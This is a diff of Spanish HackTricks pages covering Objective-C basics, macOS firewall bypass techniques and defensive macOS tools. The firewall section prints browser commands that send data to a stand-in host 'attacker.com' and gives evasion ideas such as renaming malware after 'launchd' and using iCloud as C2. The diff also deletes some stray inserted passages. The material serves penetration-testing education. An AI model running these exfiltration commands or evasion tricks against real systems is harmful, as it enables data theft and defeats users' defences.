Ten en cuenta que los programas escritos en Objective-C **mantienen** sus declaraciones de clase **cuando** se **compilan** en [binarios Mach-O](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Estas declaraciones de clase **incluyen** el nombre y tipo de:
|
||||
Ten en cuenta que los programas escritos en Objective-C **mantienen** sus declaraciones de clase **cuando** se **compilan** en [binarios Mach-O](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Dichas declaraciones de clase **incluyen** el nombre y tipo de:
|
||||
{% endhint %}
|
||||
|
||||
* La clase
|
||||
* Los métodos de clase
|
||||
* Las variables de instancia de clase
|
||||
* Los métodos de la clase
|
||||
* Las variables de instancia de la clase
|
||||
|
||||
Puedes obtener esta información utilizando [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la ingeniería inversa del binario.
|
||||
|
||||
## Clases, Métodos y Objetos
|
||||
|
||||
### Interfaz, Propiedades y Métodos
|
||||
|
@ -61,7 +65,7 @@ self.numberOfWheels += value;
|
|||
```
|
||||
### **Objeto y Método de Llamada**
|
||||
|
||||
Para crear una instancia de una clase se llama al método **`alloc`** que **asigna memoria** para cada **propiedad** y **pone a cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** con los **valores requeridos**.
|
||||
Para crear una instancia de una clase se llama al método **`alloc`**, que **asigna memoria** para cada **propiedad** y **pone a cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** a los **valores requeridos**.
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
|
@ -75,13 +79,13 @@ MyVehicle *newVehicle = [MyVehicle new];
|
|||
```
|
||||
### **Métodos de Clase**
|
||||
|
||||
Los métodos de clase se definen con el **signo más** (+) y no con el guión (-) que se utiliza con los métodos de instancia. Por ejemplo, el método de clase **`stringWithString`** de la clase **NSString**:
|
||||
Los métodos de clase se definen con el **signo más** (+) y no con el guion (-) que se utiliza en los métodos de instancia. Como el método de clase **NSString** **`stringWithString`**:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
### Setter y Getter
|
||||
### Setter & Getter
|
||||
|
||||
Para **establecer** y **obtener** propiedades, puedes hacerlo con una **notación de punto** o como si estuvieras **llamando a un método**:
|
||||
Para **establecer** y **obtener** propiedades, puedes hacerlo con una **notación de punto** o como si **llamaras a un método**:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
|
@ -91,9 +95,9 @@ newVehicle.numberOfWheels = 2;
|
|||
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
|
||||
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
||||
```
|
||||
### **Variables de instancia**
|
||||
### **Variables de Instancia**
|
||||
|
||||
Alternativamente a los métodos setter y getter, puedes usar variables de instancia. Estas variables tienen el mismo nombre que las propiedades, pero comienzan con un "\_":
|
||||
Alternativamente a los métodos setter y getter, puedes usar variables de instancia. Estas variables tienen el mismo nombre que las propiedades pero comienzan con un "\_":
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
|
@ -102,9 +106,9 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
|||
```
|
||||
### Protocolos
|
||||
|
||||
Los protocolos son conjuntos de declaraciones de métodos (sin propiedades). Una clase que implementa un protocolo implementa los métodos declarados.
|
||||
Los protocolos son un conjunto de declaraciones de métodos (sin propiedades). Una clase que implementa un protocolo implementa los métodos declarados.
|
||||
|
||||
Existen 2 tipos de métodos: **obligatorios** y **opcionales**. Por **defecto**, un método es **obligatorio** (pero también se puede indicar con la etiqueta **`@required`**). Para indicar que un método es opcional, utiliza **`@optional`**.
|
||||
Hay 2 tipos de métodos: **obligatorios** y **opcionales**. Por **defecto**, un método es **obligatorio** (pero también puedes indicarlo con la etiqueta **`@required`**). Para indicar que un método es opcional usa **`@optional`**.
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
|
@ -115,48 +119,6 @@ Existen 2 tipos de métodos: **obligatorios** y **opcionales**. Por **defecto**,
|
|||
@end
|
||||
```
|
||||
### Todo junto
|
||||
|
||||
Cuando se trata de asegurar un sistema macOS, es importante abordar varios aspectos clave para fortalecer la seguridad y prevenir la escalada de privilegios. A continuación se presentan algunas medidas básicas que se pueden tomar:
|
||||
|
||||
#### 1. Actualizar el sistema operativo
|
||||
|
||||
Mantener el sistema operativo macOS actualizado es fundamental para protegerse contra vulnerabilidades conocidas. Asegúrese de instalar las actualizaciones de software y los parches de seguridad más recientes proporcionados por Apple.
|
||||
|
||||
#### 2. Configurar el firewall
|
||||
|
||||
El firewall integrado en macOS puede ayudar a bloquear el tráfico no deseado y proteger el sistema contra ataques externos. Asegúrese de habilitar el firewall y configurarlo para permitir solo las conexiones necesarias.
|
||||
|
||||
#### 3. Desactivar servicios no utilizados
|
||||
|
||||
Desactivar los servicios y protocolos no utilizados puede reducir la superficie de ataque y minimizar las posibilidades de explotación. Revise la lista de servicios habilitados y desactive aquellos que no sean necesarios para su caso de uso específico.
|
||||
|
||||
#### 4. Configurar cuentas de usuario
|
||||
|
||||
Crear cuentas de usuario separadas para diferentes usuarios y asignar los privilegios adecuados puede ayudar a limitar el acceso no autorizado y prevenir la escalada de privilegios. Evite utilizar una cuenta de administrador para tareas diarias y utilice cuentas de usuario estándar en su lugar.
|
||||
|
||||
#### 5. Utilizar contraseñas seguras
|
||||
|
||||
Las contraseñas fuertes son esenciales para proteger las cuentas de usuario. Asegúrese de utilizar contraseñas únicas y complejas que sean difíciles de adivinar. Considere el uso de un administrador de contraseñas para generar y almacenar contraseñas seguras.
|
||||
|
||||
#### 6. Habilitar FileVault
|
||||
|
||||
FileVault es una función de cifrado de disco completo integrada en macOS que puede ayudar a proteger los datos almacenados en su disco duro. Asegúrese de habilitar FileVault para cifrar su disco y proteger sus datos confidenciales.
|
||||
|
||||
#### 7. Configurar Gatekeeper
|
||||
|
||||
Gatekeeper es una función de seguridad de macOS que ayuda a prevenir la ejecución de software malicioso. Asegúrese de configurar Gatekeeper para permitir solo la ejecución de aplicaciones descargadas de fuentes confiables.
|
||||
|
||||
#### 8. Utilizar Time Machine
|
||||
|
||||
Time Machine es una función de copia de seguridad integrada en macOS que puede ayudar a proteger sus datos en caso de pérdida o corrupción. Asegúrese de configurar y utilizar Time Machine para realizar copias de seguridad regulares de sus archivos importantes.
|
||||
|
||||
#### 9. Limitar los permisos de las aplicaciones
|
||||
|
||||
Revise y ajuste los permisos de las aplicaciones instaladas en su sistema macOS. Asegúrese de otorgar solo los permisos necesarios y revocar los permisos innecesarios para minimizar el riesgo de abuso de las aplicaciones.
|
||||
|
||||
#### 10. Estar atento a las amenazas
|
||||
|
||||
Manténgase informado sobre las últimas amenazas de seguridad y las técnicas de ataque utilizadas por los hackers. Esté atento a las actualizaciones de seguridad y siga las mejores prácticas recomendadas para proteger su sistema macOS.
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -206,7 +168,7 @@ NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
|||
[mySuperCar makeLongTruck];
|
||||
}
|
||||
```
|
||||
### Clases básicas
|
||||
### Clases Básicas
|
||||
|
||||
#### String
|
||||
|
||||
|
@ -219,7 +181,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Las clases básicas son **inmutables**, por lo que para agregar una cadena a una existente se necesita crear una **nueva NSString**.
|
||||
Las clases básicas son **inmutables**, por lo que para añadir una cadena a una existente **se necesita crear un nuevo NSString**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -238,8 +200,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
|
|||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Número
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -261,7 +221,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
|
|||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
#### Array, Sets & Dictionary
|
||||
#### Arreglos, Conjuntos y Diccionarios
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -309,11 +269,11 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
|
|||
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
|
||||
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bloques
|
||||
|
||||
Los bloques son **funciones que se comportan como objetos**, por lo que pueden ser pasados a funciones o **almacenados** en **arrays** o **dictionaries**. Además, pueden **representar un valor si se les dan valores**, por lo que es similar a las lambdas.
|
||||
Los bloques son **funciones que se comportan como objetos** por lo que pueden pasarse a funciones o **almacenarse** en **arreglos** o **diccionarios**. Además, pueden **representar un valor si se les asignan valores**, por lo que es similar a las lambdas.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
|
@ -379,7 +339,7 @@ NSLog(@"Removed successfully");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
También es posible administrar archivos **utilizando objetos `NSURL` en lugar de objetos `NSString`**. Los nombres de los métodos son similares, pero **con `URL` en lugar de `Path`**.
|
||||
También es posible gestionar archivos **usando objetos `NSURL` en lugar de objetos `NSString`**. Los nombres de los métodos son similares, pero **con `URL` en lugar de `Path`**.
|
||||
```objectivec
|
||||
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
|
||||
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
|
||||
|
@ -392,16 +352,16 @@ La mayoría de las clases básicas tienen un método `writeToFile:<path> atomica
|
|||
NSString* tmp = @"something temporary";
|
||||
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
# Bypassing Firewalls en macOS
|
||||
# Evadiendo Firewalls en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Técnicas encontradas
|
||||
|
||||
Se encontraron las siguientes técnicas que funcionan en algunas aplicaciones de firewall de macOS.
|
||||
Las siguientes técnicas se han encontrado funcionales en algunas aplicaciones de firewall de macOS.
|
||||
|
||||
### Abuso de nombres de lista blanca
|
||||
### Abusando de nombres en la lista blanca
|
||||
|
||||
* Por ejemplo, llamar al malware con nombres de procesos conocidos de macOS como **`launchd`** 
|
||||
* Por ejemplo, nombrar el malware con nombres de procesos de macOS bien conocidos como **`launchd`** 
|
||||
|
||||
### Clic sintético
|
||||
### Click Sintético
|
||||
|
||||
* Si el firewall solicita permiso al usuario, hacer que el malware **haga clic en permitir**
|
||||
* Si el firewall pide permiso al usuario, hacer que el malware **haga clic en permitir**
|
||||
|
||||
### **Utilizar binarios firmados por Apple**
|
||||
### **Usar binarios firmados por Apple**
|
||||
|
||||
* Como **`curl`**, pero también otros como **`whois`**
|
||||
|
||||
### Dominios conocidos de Apple
|
||||
|
||||
El firewall podría permitir conexiones a dominios conocidos de Apple como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como un C2.
|
||||
El firewall podría estar permitiendo conexiones a dominios conocidos de Apple como **`apple.com`** o **`icloud.com`**. Y iCloud podría usarse como un C2.
|
||||
|
||||
### Bypass genérico
|
||||
### Evasión Genérica
|
||||
|
||||
Algunas ideas para intentar evadir firewalls
|
||||
|
||||
### Verificar el tráfico permitido
|
||||
### Verificar tráfico permitido
|
||||
|
||||
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos
|
||||
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en la lista blanca o qué aplicaciones tienen permiso para acceder a ellos
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Abuso de DNS
|
||||
### Abusando de DNS
|
||||
|
||||
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, que probablemente se permitirá contactar a los servidores DNS.
|
||||
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, que probablemente estará permitida para contactar a los servidores DNS.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### A través de aplicaciones de navegador
|
||||
|
||||
* **oascript**
|
||||
* **osascript**
|
||||
```applescript
|
||||
tell application "Safari"
|
||||
run
|
||||
|
@ -65,65 +67,17 @@ end tell
|
|||
```bash
|
||||
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* Firefox
|
||||
```bash
|
||||
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
# Bypassing Firewalls in macOS
|
||||
|
||||
## Introduction
|
||||
|
||||
Firewalls are an essential security measure that protect our systems from unauthorized access and network attacks. However, as a hacker, it is crucial to understand how to bypass firewalls to gain access to restricted resources or exploit vulnerabilities.
|
||||
|
||||
In this chapter, we will explore techniques to bypass firewalls in macOS, specifically focusing on the Safari web browser.
|
||||
|
||||
## Bypassing Firewalls with Safari
|
||||
|
||||
Safari is the default web browser on macOS, and it comes with built-in security features. However, these features can be bypassed using various techniques.
|
||||
|
||||
### 1. Proxy Servers
|
||||
|
||||
One way to bypass firewalls is by using proxy servers. A proxy server acts as an intermediary between the user and the target website, allowing the user to access restricted content. By configuring Safari to use a proxy server, you can bypass firewall restrictions and access blocked websites.
|
||||
|
||||
To configure a proxy server in Safari, follow these steps:
|
||||
|
||||
1. Open Safari and go to **Preferences**.
|
||||
2. Click on the **Advanced** tab.
|
||||
3. Click on the **Change Settings** button next to **Proxies**.
|
||||
4. Select the **Web Proxy (HTTP)** option and enter the proxy server's IP address and port number.
|
||||
5. Click **OK** to save the changes.
|
||||
|
||||
### 2. VPNs
|
||||
|
||||
Virtual Private Networks (VPNs) can also be used to bypass firewalls. A VPN creates a secure connection between the user's device and a remote server, encrypting the traffic and hiding the user's IP address. By connecting to a VPN server outside the restricted network, you can bypass firewall restrictions and access blocked websites.
|
||||
|
||||
To use a VPN in Safari, follow these steps:
|
||||
|
||||
1. Install a VPN client on your macOS device.
|
||||
2. Open the VPN client and connect to a VPN server outside the restricted network.
|
||||
3. Once connected, open Safari and browse the web as usual.
|
||||
|
||||
### 3. DNS Tunneling
|
||||
|
||||
DNS tunneling is another technique that can be used to bypass firewalls. It involves encapsulating non-DNS traffic within DNS packets, allowing it to bypass firewall restrictions. By using a DNS tunneling tool, you can redirect your Safari traffic through DNS queries, effectively bypassing firewalls.
|
||||
|
||||
To use DNS tunneling in Safari, follow these steps:
|
||||
|
||||
1. Install a DNS tunneling tool on your macOS device.
|
||||
2. Configure the tool to redirect Safari traffic through DNS queries.
|
||||
3. Open Safari and browse the web as usual.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Bypassing firewalls in macOS, particularly with Safari, requires a good understanding of the techniques and tools available. By using proxy servers, VPNs, or DNS tunneling, you can bypass firewall restrictions and gain access to restricted resources. However, it is important to note that these techniques should only be used for ethical purposes, such as penetration testing or authorized security assessments.
|
||||
* Safari
|
||||
```bash
|
||||
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
### A través de inyecciones de procesos
|
||||
### A través de inyecciones en procesos
|
||||
|
||||
Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:
|
||||
Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías eludir las protecciones del firewall:
|
||||
|
||||
{% content-ref url="macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](macos-proces-abuse/)
|
||||
|
@ -135,12 +89,14 @@ Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,28 @@
|
|||
# Aplicaciones defensivas para macOS
|
||||
# Aplicaciones Defensivas para macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Firewalls
|
||||
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitoreará cada conexión realizada por cada proceso. Dependiendo del modo (permitir conexiones silenciosamente, denegar conexiones silenciosamente y alertar), **te mostrará una alerta** cada vez que se establezca una nueva conexión. También tiene una interfaz gráfica muy agradable para ver toda esta información.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Firewall de Objective-See. Este es un firewall básico que te alertará sobre conexiones sospechosas (tiene una interfaz gráfica, pero no es tan elegante como la de Little Snitch).
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitorea cada conexión realizada por cada proceso. Dependiendo del modo (permitir conexiones en silencio, denegar conexiones en silencio y alerta) te **mostrará una alerta** cada vez que se establezca una nueva conexión. También tiene una interfaz gráfica muy agradable para ver toda esta información.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Firewall de Objective-See. Es un firewall básico que te alertará sobre conexiones sospechosas (tiene una interfaz gráfica pero no es tan sofisticada como la de Little Snitch).
|
||||
|
||||
## Detección de persistencia
|
||||
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Aplicación de Objective-See que buscará en varios lugares donde **el malware podría estar persistiendo** (es una herramienta de un solo uso, no un servicio de monitoreo).
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Similar a KnockKnock, monitorea los procesos que generan persistencia.
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Aplicación de Objective-See que buscará en varias ubicaciones donde el **malware podría estar persistiendo** (es una herramienta de un solo uso, no un servicio de monitoreo).
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Como KnockKnock pero monitoreando procesos que generan persistencia.
|
||||
|
||||
## Detección de keyloggers
|
||||
|
